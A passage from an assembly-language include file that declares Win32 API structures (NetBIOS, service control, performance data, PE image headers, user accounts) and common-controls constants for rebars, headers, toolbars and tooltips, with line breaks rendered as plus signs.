RESW 1+.xmit_success RESD 1+.recv_success RESD 1+.iframe_xmit_err RESW 1+.recv_buff_unavail RESW 1+.t1_timeouts RESW 1+.ti_timeouts RESW 1+.Reserved1 RESD 1+.free_ncbs RESW 1+.max_cfg_ncbs RESW 1+.max_ncbs RESW 1+.xmit_buf_unavail RESW 1+.max_dgram_isize RESW 1+.pending_sess RESW 1+.max_cfg_sess RESW 1+.max_sess RESW 1+.max_sess_pkt_isize RESW 1+.name_count RESW 1+ENDSTRUC++STRUC NAME_BUFFER+.xname RESB NCBNAMSZ+.name_num RESW 1+.name_flags RESW 1+ENDSTRUC++STRUC SESSION_HEADER+.sess_name RESW 1+.num_sess RESW 1+.rcv_dg_outstanding RESW 1+.rcv_any_outstanding RESW 1+ENDSTRUC++STRUC SESSION_BUFFER+.lsn RESW 1+.State RESW 1+.local_name RESB NCBNAMSZ+.remote_name RESB NCBNAMSZ+.rcvs_outstanding RESW 1+.sends_outstanding RESW 1+ENDSTRUC++STRUC LANA_ENUM+.iLength RESW 1+.lana RESW 1+ENDSTRUC++STRUC FIND_NAME_HEADER+.node_count RESW 1+.Reserved RESW 1+.unique_group RESW 1+ENDSTRUC++STRUC FIND_NAME_BUFFER+.iLength RESW 1+.access_control RESW 1+.frame_control RESW 1+.destination_addr RESW 1+.source_addr RESW 1+.routing_info RESW 1+ENDSTRUC++STRUC ACTION_HEADER+.transport_id RESD 1+.action_code RESW 1+.Reserved RESW 1+ENDSTRUC++STRUC CRGB+.bRed RESB 1+.bGreen RESB 1+.bBlue RESB 1+.bExtra RESB 1+ENDSTRUC++STRUC SERVICE_STATUS+.dwServiceType RESD 1+.dwCurrentState RESD 1+.dwControlsAccepted RESD 1+.dwWin32ExitCode RESD 1+.dwServiceSpecificExitCode RESD 1+.dwCheckPoint RESD 1+.dwWaitHint RESD 1+ENDSTRUC++STRUC ENUM_SERVICE_STATUS+.lpServiceName RESD 1+.lpDisplayName RESD 1+.ServiceStatus RESD 1+ENDSTRUC++STRUC QUERY_SERVICE_LOCK_STATUS+.fIsLocked RESD 1+.lpLockOwner RESD 1+.dwLockDuration RESD 1+ENDSTRUC++STRUC QUERY_SERVICE_CONFIG+.dwServiceType RESD 1+.dwStartType RESD 1+.dwErrorControl RESD 1+.lpBinaryPathName RESD 1+.lpLoadOrderGroup RESD 1+.dwTagId RESD 1+.lpDependencies RESD 1+.lpServiceStartName RESD 1+.lpDisplayName RESD 1+ENDSTRUC++STRUC SERVICE_TABLE_ENTRY+.lpServiceName RESD 1+.lpServiceProc RESD 1+ENDSTRUC++STRUC LARGE_INTEGER+.lowpart RESD 1+.highpart RESD 1+ENDSTRUC++STRUC PERF_DATA_BLOCK+.Signature RESB 4+.LittleEndian RESD 1+.Version RESD 1+.Revision RESD 1+.TotalByteiLength RESD 1+.HeaderiLength RESD 1+.NumObjectTypes RESD 1+.DefaultObject RESD 1+.SystemTime RESD 1+.PerfTime RESD 1+.PerfFreq RESD 1+.PerTime100nSec RESD 1+.SystemNameiLength RESD 1+.SystemNameOffset RESD 1+ENDSTRUC++STRUC PERF_OBJECT_TYPE+.TotalByteiLength RESD 1+.DefinitioniLength RESD 1+.HeaderiLength RESD 1+.ObjectNameTitleIndex RESD 1+.ObjectNameTitle RESD 1+.ObjectHelpTitleIndex RESD 1+.ObjectHelpTitle RESD 1+.DetailLevel RESD 1+.NumCounters RESD 1+.DefaultCounter RESD 1+.NumInstances RESD 1+.CodePage RESD 1+.PerfTime RESD 1+.PerfFreq RESD 1+ENDSTRUC++STRUC PERF_COUNTER_DEFINITION+.ByteiLength RESD 1+.CounterNameTitleIndex RESD 1+.CounterNameTitle RESD 1+.CounterHelpTitleIndex RESD 1+.CounterHelpTitle RESD 1+.DefaultScale RESD 1+.DetailLevel RESD 1+.CounterType RESD 1+.CounterSize RESD 1+.CounterOffset RESD 1+ENDSTRUC++STRUC PERF_INSTANCE_DEFINITION+.ByteiLength RESD 1+.ParentObjectTitleIndex RESD 1+.ParentObjectInstance RESD 1+.UniqueID RESD 1+.NameOffset RESD 1+.NameiLength RESD 1+ENDSTRUC++STRUC PERF_COUNTER_BLOCK+.ByteiLength RESD 1+ENDSTRUC++STRUC COMPOSITIONFORM+.dwStyle RESD 1+.ptCurrentPos RESB POINT_size+.rcArea RESB RECT_size+ENDSTRUC++STRUC CANDIDATEFORM+.dwIndex RESD 1+.dwStyle RESD 1+.ptCurrentPos RESB POINT_size+.rcArea RESB RECT_size+ENDSTRUC++STRUC CANDIDATELIST+.dwSize RESD 1+.dwStyle RESD 1+.dwCount RESD 1+.dwSelection RESD 1+.dwPageStart RESD 1+.dwPageSize RESD 1+.dwOffset1 RESD 1+ENDSTRUC++STRUC STYLEBUF+.dwStyle RESD 1+.szDescription RESB STYLE_DESCRIPTION_SIZE+ENDSTRUC++STRUC MODEMDEVCAPS+.dwActualSize RESD 1+.dwRequiredSize RESD 1+.dwDevSpecificOffset RESD 1+.dwDevSpecificSize RESD 1+.dwModemProviderVersion RESD 1+.dwModemManufacturerOffset RESD 1+.dwModemManufacturerSize RESD 1+.dwModemModelOffset RESD 1+.dwModemModelSize RESD 1+.dwModemVersionOffset RESD 1+.dwModemVersionSize RESD 1+.dwDialOptions RESD 1+.dwCallSetupFailTimer RESD 1+.dwInactivityTimeout RESD 1+.dwSpeakerVolume RESD 1+.dwSpeakerMode RESD 1+.dwModemOptions RESD 1+.dwMaxDTERate RESD 1+.dwMaxDCERate RESD 1+.abVariablePortion RESB 1+ENDSTRUC++STRUC MODEMSETTINGS+.dwActualSize RESD 1+.dwRequiredSize RESD 1+.dwDevSpecificOffset RESD 1+.dwDevSpecificSize RESD 1+.dwCallSetupFailTimer RESD 1+.dwInactivityTimeout RESD 1+.dwSpeakerVolume RESD 1+.dwSpeakerMode RESD 1+.dwPreferredModemOptions RESD 1+.dwNegotiatedModemOptions RESD 1+.dwNegotiatedDCERate RESD 1+.abVariablePortion RESB 1+ENDSTRUC++STRUC DRAGINFO+.uSize RESD 1+.pt RESB POINT_size+.fNC RESD 1+.lpFileList RESD 1+.grfKeyState RESD 1+ENDSTRUC++STRUC APPBARDATA+.cbSize RESD 1+.hwnd RESD 1+.uCallbackMessage RESD 1+.uEdge RESD 1+.rc RESB RECT_size+.lParam RESD 1+ENDSTRUC++STRUC SHFILEOPSTRUCT+.hwnd RESD 1+.wFunc RESD 1+.pFrom RESD 1+.pTo RESD 1+.fFlags RESW 1+.fAnyOperationsAborted RESD 1+.hNameMappings RESD 1+.lpszProgressTitle RESD 1+ENDSTRUC++STRUC SHNAMEMAPPING+.pszOldPath RESD 1+.pszNewPath RESD 1+.cchOldPath RESD 1+.cchNewPath RESD 1+ENDSTRUC++STRUC SHELLEXECUTEINFO+.cbSize RESD 1+.fMask RESD 1+.hwnd RESD 1+.lpVerb RESD 1+.lpFile RESD 1+.lpParameters RESD 1+.lpDirectory RESD 1+.nShow RESD 1+.hInstApp RESD 1+.lpIDList RESD 1+.lpClass RESD 1+.hkeyClass RESD 1+.dwHotKey RESD 1+.hIcon RESD 1+.hProcess RESD 1+ENDSTRUC++STRUC NOTIFYICONDATA+.cbSize RESD 1+.hwnd RESD 1+.uID RESD 1+.uFlags RESD 1+.uCallbackMessage RESD 1+.hIcon RESD 1+.szTip RESB 64+ENDSTRUC++STRUC SHFILEINFO+.hIcon RESD 1+.iIcon RESD 1+.dwAttributes RESD 1+.szDisplayName RESB 1+.szTypeName RESB 80+ENDSTRUC++STRUC VS_FIXEDFILEINFO+.dwSignature RESD 1+.dwStrucVersion RESD 1+.dwFileVersionMS RESD 1+.dwFileVersionLS RESD 1+.dwProductVersionMS RESD 1+.dwProductVersionLS RESD 1+.dwFileFlagsMask RESD 1+.dwFileFlags RESD 1+.dwFileOS RESD 1+.dwFileType RESD 1+.dwFileSubtype RESD 1+.dwFileDateMS RESD 1+.dwFileDateLS RESD 1+ENDSTRUC++STRUC ICONMETRICS+.cbSize RESD 1+.iHorzSpacing RESD 1+.iVertSpacing RESD 1+.iTitleWrap RESD 1+.lfFont RESD 1+ENDSTRUC++STRUC HELPINFO+.cbSize RESD 1+.iContextType RESD 1+.iCtrlId RESD 1+.hItemHandle RESD 1+.dwContextId RESD 1+.MousePos RESD 1+ENDSTRUC++STRUC ANIMATIONINFO+.cbSize RESD 1+.iMinAnimate RESD 1+ENDSTRUC++STRUC MINIMIZEDMETRICS+.cbSize RESD 1+.iWidth RESD 1+.iHorzGap RESD 1+.iVertGap RESD 1+.iArrange RESD 1+.lfFont RESD 1+ENDSTRUC++STRUC OSVERSIONINFO+.dwOSVersionInfoSize RESD 1+.dwMajorVersion RESD 1+.dwMinorVersion RESD 1+.dwBuildNumber RESD 1+.dwPlatformId RESD 1+.szCSDVersion RESB 128+ENDSTRUC++STRUC SYSTEM_POWER_STATUS+.ACLineStatus RESB 1+.BatteryFlag RESB 1+.BatteryLifePercent RESB 1+.Reserved1 RESB 1+.BatteryLifeTime RESD 1+.BatteryFullLifeTime RESD 1+ENDSTRUC++STRUC NMHDR+.hwndFrom RESD 1+.idfrom RESD 1+.code RESD 1+ENDSTRUC++STRUC DEVNAMES+.wDriverOffset RESW 1+.wDeviceOffset RESW 1+.wOutputOffset RESW 1+.wDefault RESW 1+ENDSTRUC++STRUC PAGESETUPDLGAPI+.lStructSize RESD 1+.hwndOwner RESD 1+.hDevMode RESD 1+.hDevNames RESD 1+.flags RESD 1+.ptPaperSize RESB POINT_size+.rtMinMargin RESD 1+.rtMargin RESD 1+.hInstance RESD 1+.lCustData RESD 1+.lpfnPageSetupHook RESD 1+.lpfnPagePaintHook RESD 1+.lpPageSetupTemplateName RESD 1+.hPageSetupTemplate RESD 1+ENDSTRUC++STRUC COMMCONFIG+.dwSize RESD 1+.wVersion RESW 1+.wReserved RESW 1+.dcbx RESD 1+.dwProviderSubType RESD 1+.dwProviderOffset RESD 1+.dwProviderSize RESD 1+.wcProviderData RESB 1+ENDSTRUC++STRUC PIXELFORMATDESCRIPTOR+.nSize RESW 1+.nVersion RESW 1+.dwFlags RESD 1+.iPixelType RESB 1+.cColorBits RESB 1+.cRedBits RESB 1+.cRedShift RESB 1+.cGreenBits RESB 1+.cGreenShift RESB 1+.cBlueBits RESB 1+.cBlueShift RESB 1+.cAlphaBits RESB 1+.cAlphaShift RESB 1+.cAccumBits RESB 1+.cAccumRedBits RESB 1+.cAccumGreenBits RESB 1+.cAccumBlueBits RESB 1+.cAccumAlphaBits RESB 1+.cDepthBits RESB 1+.cStencilBits RESB 1+.cAuxBuffers RESB 1+.iLayerType RESB 1+.bReserved RESB 1+.dwLayerMask RESD 1+.dwVisibleMask RESD 1+.dwDamageMask RESD 1+ENDSTRUC++STRUC DRAWTEXTPARAMS+.cbSize RESD 1+.iTabiLength RESD 1+.iLeftMargin RESD 1+.iRightMargin RESD 1+.uiiLengthDrawn RESD 1+ENDSTRUC++STRUC MENUITEMINFO+.cbSize RESD 1+.fMask RESD 1+.fType RESD 1+.fState RESD 1+.wID RESD 1+.hSubMenu RESD 1+.hbmpChecked RESD 1+.hbmpUnchecked RESD 1+.dwItemData RESD 1+.dwTypeData RESD 1+.cch RESD 1+ENDSTRUC++STRUC SCROLLINFO+.cbSize RESD 1+.fMask RESD 1+.nMin RESD 1+.nMax RESD 1+.nPage RESD 1+.nPos RESD 1+.nTrackPos RESD 1+ENDSTRUC++STRUC MSGBOXPARAMS+.cbSize RESD 1+.hwndOwner RESD 1+.hInstance RESD 1+.lpszText RESD 1+.lpszCaption RESD 1+.dwStyle RESD 1+.lpszIcon RESD 1+.dwContextHelpId RESD 1+.lpfnMsgBoxCallback RESD 1+.dwLanguageId RESD 1+ENDSTRUC++STRUC DEBUG_EVENT+.dwDebugEventCode RESD 1+.dwProcessId RESD 1+.dwThreadId RESD 1+.u RESD 1+ENDSTRUC++STRUC COLORMAP+.cmFrom RESD 1+.cmTo RESD 1+ENDSTRUC++STRUC AuxVol+.vLow RESW 1+.vHigh RESW 1+ENDSTRUC++STRUC DBGTHREAD+.hThread RESD 1+.lpStartAddress RESD 1+.bfState RESD 1+.nNext RESQ 1+ENDSTRUC++STRUC DbgProcess+.hDbgHeap RESD 1+.dwProcessID RESD 1+.dwThreadID RESD 1+.hProcess RESD 1+.hFile RESD 1+.lpImage RESD 1+ENDSTRUC++STRUC IMAGE_DATA_DIRECTORY+.VirtualAddress RESD 1+.isize RESD 1+ENDSTRUC++STRUC IMAGE_OPTIONAL_HEADER+.Magic RESW 1+.MajorLinkerVersion RESB 1+.MinorLinkerVersion RESB 1+.SizeOfCode RESD 1+.SizeOfInitializedData RESD 1+.SizeOfUninitializedData RESD 1+.AddressOfEntryPoint RESD 1+.BaseOfCode RESD 1+.BaseOfData RESD 1+.ImageBase RESD 1+.SectionAlignment RESD 1+.FileAlignment RESD 1+.MajorOperatingSystemVersion RESW 1+.MinorOperatingSystemVersion RESW 1+.MajorImageVersion RESW 1+.MinorImageVersion RESW 1+.MajorSubsystemVersion RESW 1+.MinorSubsystemVersion RESW 1+.Reserved1 RESD 1+.SizeOfImage RESD 1+.SizeOfHeaders RESD 1+.CheckSum RESD 1+.Subsystem RESW 1+.DllCharacteristics RESW 1+.SizeOfStackReserve RESD 1+.SizeOfStackCommit RESD 1+.SizeOfHeapReserve RESD 1+.SizeOfHeapCommit RESD 1+.LoaderFlags RESD 1+.NumberOfRvaAndSizes RESD 1+.DataDirectory RESQ 1+ENDSTRUC++STRUC IMAGE_FILE_HEADER+.Machine RESW 1+.NumberOfSections RESW 1+.TimeDateStamp RESD 1+.PointerToSymbolTable RESD 1+.NumberOfSymbols RESD 1+.SizeOfOptionalHeader RESW 1+.Characteristics RESW 1+ENDSTRUC++STRUC IMAGE_NT_HEADERS+.Signature RESD 1+.FileHeader RESD 1+.OptionalHeader RESD 1+ENDSTRUC++STRUC IMAGE_EXPORT_DIRECTORY+.Characteristics RESD 1+.TimeDateStamp RESD 1+.MajorVersion RESW 1+.MinorVersion RESW 1+.nName RESD 1+.nBase RESD 1+.NumberOfFunctions RESD 1+.NumberOfNames RESD 1+.AddressOfFunctions RESD 1+.AddressOfNames RESD 1+.AddressOfNameOrdinals RESW 1+ENDSTRUC++STRUC IMAGE_DOS_HEADER+.e_magic RESW 1+.e_cblp RESW 1+.e_cp RESW 1+.e_crlc RESW 1+.e_cparhdr RESW 1+.e_minalloc RESW 1+.e_maxalloc RESW 1+.e_ss RESW 1+.e_sp RESW 1+.e_csum RESW 1+.e_ip RESW 1+.e_cs RESW 1+.e_lfarlc RESW 1+.e_ovno RESW 1+.e_res4 RESW 1+.e_oemid RESW 1+.e_oeminfo RESW 1+.e_res2 RESW 1+.e_lfanew RESD 1+ENDSTRUC++STRUC USER_INFO_3+.uName RESD 1+.Password RESD 1+.PasswordAge RESD 1+.Privilege RESD 1+.HomeDir RESD 1+.Comment RESD 1+.Flags RESD 1+.ScriptPath RESD 1+.AuthFlags RESD 1+.FullName RESD 1+.UserComment RESD 1+.Parms RESD 1+.Workstations RESD 1+.LastLogon RESD 1+.LastLogoff RESD 1+.AcctExpires RESD 1+.MaxStorage RESD 1+.UnitsPerWeek RESD 1+.LogonHours RESD 1+.BadPwCount RESD 1+.NumLogons RESD 1+.LogonServer RESD 1+.CountryCode RESD 1+.CodePage RESD 1+.UserID RESD 1+.PrimaryGroupID RESD 1+.Profile RESD 1+.HomeDirDrive RESD 1+.PasswordExpired RESD 1+ENDSTRUC++STRUC GROUP_INFO_2+.uName RESD 1+.Comment RESD 1+.GroupID RESD 1+.Attributes RESD 1+ENDSTRUC++;---------------------------comctl equates-------------------------------+ODT_HEADER equ 100+ODT_TAB equ 101+ODT_LISTVIEW equ 102+LVM_FIRST equ 1000h+TV_FIRST equ 1100h+HDM_FIRST equ 1200h+NM_OUTOFMEMORY equ NM_FIRST-1+NM_CLICK equ NM_FIRST-2+NM_DBLCLK equ NM_FIRST-3+NM_RETURN equ NM_FIRST-4+NM_RCLICK equ NM_FIRST-5+NM_RDBLCLK equ NM_FIRST-6+NM_SETFOCUS equ NM_FIRST-7+NM_KILLFOCUS equ NM_FIRST-8+CCS_TOP equ 00000001h+CCS_NOMOVEY equ 00000002h+CCS_BOTTOM equ 00000003h+CCS_NORESIZE equ 00000004h+CCS_NOPARENTALIGN equ 00000008h+CCS_ADJUSTABLE equ 00000020h+CCS_NODIVIDER equ 00000040h+CCM_FIRST equ 2000h+CCM_SETBKCOLOR equ CCM_FIRST+1+CCM_SETCOLORSCHEME equ CCM_FIRST+2+CCM_GETCOLORSCHEME equ CCM_FIRST+3+CCM_GETDROPTARGET equ CCM_FIRST+4+CCM_SETUNICODEFORMAT equ CCM_FIRST+5+CCM_GETUNICODEFORMAT equ CCM_FIRST+6+LVN_FIRST equ 0-100+LVN_LAST equ 0-199+HDN_FIRST equ 0-300+HDN_LAST equ 0-399+TVN_FIRST equ 0-400+TVN_LAST equ 0-499+TTN_FIRST equ 0-520+TTN_LAST equ 0-549+TCN_FIRST equ 0-550+TCN_LAST equ 0-580+CDN_FIRST equ 0-601+CDN_LAST equ 0-699+TBN_FIRST equ 0-700+TBN_LAST equ 0-720+UDN_FIRST equ 0-721+UDN_LAST equ 0-740+MCN_FIRST equ 0-750+MCN_LAST equ 0-759+DTN_FIRST equ 0-760+DTN_LAST equ 0-799+CBEN_FIRST equ 0-800+CBEN_LAST equ 0-830+RBN_FIRST equ 0-831+RBN_LAST equ 0-859+IPN_FIRST equ 0-860+IPN_LAST equ 0-879+SBN_FIRST equ 0-880+SBN_LAST equ 0-899+PGN_FIRST equ 0-900+PGN_LAST equ 0-950+MSGF_COMMCTRL_BEGINDRAG equ 4200h+MSGF_COMMCTRL_SIZEHEADER equ 4201h+MSGF_COMMCTRL_DRAGSELECT equ 4202h+MSGF_COMMCTRL_TOOLBARCUST equ 4203h+ICC_LISTVIEW_CLASSES equ 00000001h+ICC_TREEVIEW_CLASSES equ 00000002h+ICC_BAR_CLASSES equ 00000004h+ICC_TAB_CLASSES equ 00000008h+ICC_UPDOWN_CLASS equ 00000010h+ICC_PROGRESS_CLASS equ 00000020h+ICC_HOTKEY_CLASS equ 00000040h+ICC_ANIMATE_CLASS equ 00000080h+ICC_WIN95_CLASSES equ 000000FFh+ICC_DATE_CLASSES equ 00000100h+ICC_USEREX_CLASSES equ 00000200h+ICC_COOL_CLASSES equ 00000400h+ICC_INTERNET_CLASSES equ 00000800h+ICC_PAGESCROLLER_CLASS equ 00001000h+ICC_NATIVEFNTCTL_CLASS equ 00002000h+RBIM_IMAGELIST equ 00000001h+RBS_TOOLTIPS equ 0100h+RBS_VARHEIGHT equ 0200h+RBS_BANDBORDERS equ 0400h+RBS_FIXEDORDER equ 0800h+RBS_REGISTERDROP equ 1000h+RBS_AUTOSIZE equ 2000h+RBS_VERTICALGRIPPER equ 4000h+RBS_DBLCLKTOGGLE equ 8000h+RBBS_BREAK equ 00000001h+RBBS_FIXEDSIZE equ 00000002h+RBBS_CHILDEDGE equ 00000004h+RBBS_HIDDEN equ 00000008h+RBBS_NOVERT equ 00000010h+RBBS_FIXEDBMP equ 00000020h+RBBS_VARIABLEHEIGHT equ 00000040h+RBBS_GRIPPERALWAYS equ 00000080h+RBBS_NOGRIPPER equ 00000100h+RBBIM_STYLE equ 00000001h+RBBIM_COLORS equ 00000002h+RBBIM_TEXT equ 00000004h+RBBIM_IMAGE equ 00000008h+RBBIM_CHILD equ 00000010h+RBBIM_CHILDSIZE equ 00000020h+RBBIM_SIZE equ 00000040h+RBBIM_BACKGROUND equ 00000080h+RBBIM_ID equ 00000100h+RBBIM_IDEALSIZE equ 00000200h+RBBIM_LPARAM equ 00000400h+RBBIM_HEADERSIZE equ 00000800h+RB_INSERTBAND equ WM_USER+1+RB_DELETEBAND equ WM_USER+2+RB_GETBARINFO equ WM_USER+3+RB_SETBARINFO equ WM_USER+4+RB_GETBANDINFO equ WM_USER+5+RB_SETBANDINFO equ WM_USER+6+RB_SETPARENT equ WM_USER+7+RB_HITTEST equ WM_USER+8+RB_GETRECT equ WM_USER+9+RB_GETBANDCOUNT equ WM_USER+12+RB_GETROWCOUNT equ WM_USER+13+RB_GETROWHEIGHT equ WM_USER+14+RB_IDTOINDEX equ WM_USER+16+RB_GETTOOLTIPS equ WM_USER+17+RB_SETTOOLTIPS equ WM_USER+18+RB_SETBKCOLOR equ WM_USER+19+RB_GETBKCOLOR equ WM_USER+20+RB_SETTEXTCOLOR equ WM_USER+21+RB_GETTEXTCOLOR equ WM_USER+22+RB_SIZETORECT equ WM_USER+23+RB_SETCOLORSCHEME equ CCM_SETCOLORSCHEME+RB_GETCOLORSCHEME equ CCM_GETCOLORSCHEME+RB_BEGINDRAG equ WM_USER+24+RB_ENDDRAG equ WM_USER+25+RB_DRAGMOVE equ WM_USER+26+RB_GETBARHEIGHT equ WM_USER+27+RB_MINIMIZEBAND equ WM_USER+30+RB_MAXIMIZEBAND equ WM_USER+31+RB_GETDROPTARGET equ CCM_GETDROPTARGET+RB_GETBANDBORDERS equ WM_USER+34+RB_SHOWBAND equ WM_USER+35+RB_SETPALETTE equ WM_USER+37+RB_GETPALETTE equ WM_USER+38+RB_MOVEBAND equ WM_USER+39+RB_SETUNICODEFORMAT equ CCM_SETUNICODEFORMAT+RB_GETUNICODEFORMAT equ CCM_GETUNICODEFORMAT+RBN_HEIGHTCHANGE equ RBN_FIRST-0+RBN_GETOBJECT equ RBN_FIRST-1+RBN_LAYOUTCHANGED equ RBN_FIRST-2+RBN_AUTOSIZE equ RBN_FIRST-3+RBN_BEGINDRAG equ RBN_FIRST-4+RBN_ENDDRAG equ RBN_FIRST-5+RBN_DELETINGBAND equ RBN_FIRST-6+RBN_DELETEDBAND equ RBN_FIRST-7+RBN_CHILDSIZE equ RBN_FIRST-8+RBNM_ID equ 00000001h+RBNM_STYLE equ 00000002h+RBNM_LPARAM equ 00000004h+RBHT_NOWHERE equ 0001h+RBHT_CAPTION equ 0002h+RBHT_CLIENT equ 0003h+RBHT_GRABBER equ 0004h+CLR_NONE equ 0FFFFFFFFh+CLR_DEFAULT equ 0FF000000h+ILC_MASK equ 0001h+ILC_COLOR equ 0000h+ILC_COLORDDB equ 00FEh+ILC_COLOR4 equ 0004h+ILC_COLOR8 equ 0008h+ILC_COLOR16 equ 0010h+ILC_COLOR24 equ 0018h+ILC_COLOR32 equ 0020h+ILC_PALETTE equ 0800h+ILD_NORMAL equ 0000h+ILD_TRANSPARENT equ 0001h+ILD_MASK equ 0010h+ILD_IMAGE equ 0020h+ILD_BLEND25 equ 0002h+ILD_BLEND50 equ 0004h+ILD_OVERLAYMASK equ 0F00h+ILD_SELECTED equ ILD_BLEND50+ILD_FOCUS equ ILD_BLEND25+ILD_BLEND equ ILD_BLEND50+CLR_HILIGHT equ CLR_DEFAULT+HDS_HORZ equ 00000000h+HDS_BUTTONS equ 00000002h+HDS_HIDDEN equ 00000008h+HDI_WIDTH equ 0001h+HDI_HEIGHT equ HDI_WIDTH+HDI_TEXT equ 0002h+HDI_FORMAT equ 0004h+HDI_LPARAM equ 0008h+HDI_BITMAP equ 0010h+HDF_LEFT equ 0+HDF_RIGHT equ 1+HDF_CENTER equ 2+HDF_JUSTIFYMASK equ 0003h+HDF_RTLREADING equ 4+HDF_OWNERDRAW equ 8000h+HDF_STRING equ 4000h+HDF_BITMAP equ 2000h+HDM_GETITEMCOUNT equ HDM_FIRST+0+HDM_INSERTITEM equ HDM_FIRST+1+HDM_INSERTITEMW equ HDM_FIRST+10+HDM_DELETEITEM equ HDM_FIRST+2+HDM_GETITEM equ HDM_FIRST+3+HDM_GETITEMW equ HDM_FIRST+11+HDM_SETITEM equ HDM_FIRST+4+HDM_SETITEMW equ HDM_FIRST+12+HDM_LAYOUT equ HDM_FIRST+5+HHT_NOWHERE equ 0001h+HHT_ONHEADER equ 0002h+HHT_ONDIVIDER equ 0004h+HHT_ONDIVOPEN equ 0008h+HHT_ABOVE equ 0100h+HHT_BELOW equ 0200h+HHT_TORIGHT equ 0400h+HHT_TOLEFT equ 0800h+HDM_HITTEST equ HDM_FIRST+6+HDN_ITEMCHANGING equ HDN_FIRST-0+HDN_ITEMCHANGINGW equ HDN_FIRST-20+HDN_ITEMCHANGED equ HDN_FIRST-1+HDN_ITEMCHANGEDW equ HDN_FIRST-21+HDN_ITEMCLICK equ HDN_FIRST-2+HDN_ITEMCLICKW equ HDN_FIRST-22+HDN_ITEMDBLCLICK equ HDN_FIRST-3+HDN_ITEMDBLCLICKW equ HDN_FIRST-23+HDN_DIVIDERDBLCLICK equ HDN_FIRST-5+HDN_DIVIDERDBLCLICKW equ HDN_FIRST-25+HDN_BEGINTRACK equ HDN_FIRST-6+HDN_BEGINTRACKW equ HDN_FIRST-26+HDN_ENDTRACK equ HDN_FIRST-7+HDN_ENDTRACKW equ HDN_FIRST-27+HDN_TRACK equ HDN_FIRST-8+HDN_TRACKW equ HDN_FIRST-28+CMB_MASKED equ 02h+TBSTATE_CHECKED equ 01h+TBSTATE_PRESSED equ 02h+TBSTATE_ENABLED equ 04h+TBSTATE_HIDDEN equ 08h+TBSTATE_INDETERMINATE equ 10h+TBSTATE_WRAP equ 20h+TBSTYLE_BUTTON equ 00h+TBSTYLE_SEP equ 01h+TBSTYLE_CHECK equ 02h+TBSTYLE_GROUP equ 04h+TBSTYLE_CHECKGROUP equ TBSTYLE_GROUP|TBSTYLE_CHECK+TBSTYLE_TOOLTIPS equ 0100h+TBSTYLE_WRAPABLE equ 0200h+TBSTYLE_ALTDRAG equ 0400h+TBSTYLE_FLAT equ 0800h+TBSTYLE_LIST equ 1000h+TBSTYLE_CUSTOMERASE equ 2000h+TBSTYLE_REGISTERDROP equ 4000h+TBSTYLE_TRANSPARENT equ 8000h+TB_ENABLEBUTTON equ WM_USER+1+TB_CHECKBUTTON equ WM_USER+2+TB_PRESSBUTTON equ WM_USER+3+TB_HIDEBUTTON equ WM_USER+4+TB_INDETERMINATE equ WM_USER+5+TB_ISBUTTONENABLED equ WM_USER+9+TB_ISBUTTONCHECKED equ WM_USER+10+TB_ISBUTTONPRESSED equ WM_USER+11+TB_ISBUTTONHIDDEN equ WM_USER+12+TB_ISBUTTONINDETERMINATE equ WM_USER+13+TB_SETSTATE equ WM_USER+17+TB_GETSTATE equ WM_USER+18+TB_ADDBITMAP equ WM_USER+19+TB_SETSTYLE equ WM_USER+56+TB_GETSTYLE equ WM_USER+57+HINST_COMMCTRL equ -1+IDB_STD_SMALL_COLOR equ 0+IDB_STD_LARGE_COLOR equ 1+IDB_VIEW_SMALL_COLOR equ 4+IDB_VIEW_LARGE_COLOR equ 5+STD_CUT equ 0+STD_COPY equ 1+STD_PASTE equ 2+STD_UNDO equ 3+STD_REDOW equ 4+STD_DELETE equ 5+STD_FILENEW equ 6+STD_FILEOPEN equ 7+STD_FILESAVE equ 8+STD_PRINTPRE equ 9+STD_PROPERTIES equ 10+STD_HELP equ 11+STD_FIND equ 12+STD_REPLACE equ 13+STD_PRINT equ 14+VIEW_LARGEICONS equ 0+VIEW_SMALLICONS equ 1+VIEW_LIST equ 2+VIEW_DETAILS equ 3+VIEW_SORTNAME equ 4+VIEW_SORTSIZE equ 5+VIEW_SORTDATE equ 6+VIEW_SORTTYPE equ 7+VIEW_PARENTFOLDER equ 8+VIEW_NETCONNECT equ 9+VIEW_NETDISCONNECT equ 10+VIEW_NEWFOLDER equ 11+TB_ADDBUTTONS equ WM_USER+20+TB_INSERTBUTTON equ WM_USER+21+TB_DELETEBUTTON equ WM_USER+22+TB_GETBUTTON equ WM_USER+23+TB_BUTTONCOUNT equ WM_USER+24+TB_COMMANDTOINDEX equ WM_USER+25+TB_SAVERESTORE equ WM_USER+26+TB_SAVERESTOREW equ WM_USER+76+TB_CUSTOMIZE equ WM_USER+27+TB_ADDSTRING equ WM_USER+28+TB_ADDSTRINGW equ WM_USER+77+TB_GETITEMRECT equ WM_USER+29+TB_BUTTONSTRUCTSIZE equ WM_USER+30+TB_SETBUTTONSIZE equ WM_USER+31+TB_SETBITMAPSIZE equ WM_USER+32+TB_AUTOSIZE equ WM_USER+33+TB_GETTOOLTIPS equ WM_USER+35+TB_SETTOOLTIPS equ WM_USER+36+TB_SETPARENT equ WM_USER+37+TB_SETROWS equ WM_USER+39+TB_GETROWS equ WM_USER+40+TB_SETCMDID equ WM_USER+42+TB_CHANGEBITMAP equ WM_USER+43+TB_GETBITMAP equ WM_USER+44+TB_GETBUTTONTEXT equ WM_USER+45+TB_GETBUTTONTEXTW equ WM_USER+75+TB_REPLACEBITMAP equ WM_USER+46+TBBF_LARGE equ 0001h+TB_GETBITMAPFLAGS equ WM_USER+41+TBN_GETBUTTONINFO equ TBN_FIRST-0+TBN_GETBUTTONINFOW equ TBN_FIRST-20+TBN_BEGINDRAG equ TBN_FIRST-1+TBN_ENDDRAG equ TBN_FIRST-2+TBN_BEGINADJUST equ TBN_FIRST-3+TBN_ENDADJUST equ TBN_FIRST-4+TBN_RESET equ TBN_FIRST-5+TBN_QUERYINSERT equ TBN_FIRST-6+TBN_QUERYDELETE equ TBN_FIRST-7+TBN_TOOLBARCHANGE equ TBN_FIRST-8+TBN_CUSTHELP equ TBN_FIRST-9+TTS_ALWAYSTIP equ 01h+TTS_NOPREFIX equ 02h+TTF_IDISHWND equ 01h+TTF_CENTERTIP equ 02h+TTF_RTLREADING equ 04h+TTF_SUBCLASS equ 10h+TTDT_AUTOMATIC equ 0+TTDT_RESHOW equ 1+TTDT_AUTOPOP equ 2+TTDT_INITIAL equ 3+TTM_ACTIVATE equ WM_USER+1+TTM_SETDELAYTIME equ WM_USER+3+TTM_ADDTOOL equ WM_USER+4+TTM_ADDTOOLW equ WM_USER+50+TTM_DELTOOL equ WM_USER+5+TTM_DELTOOLW 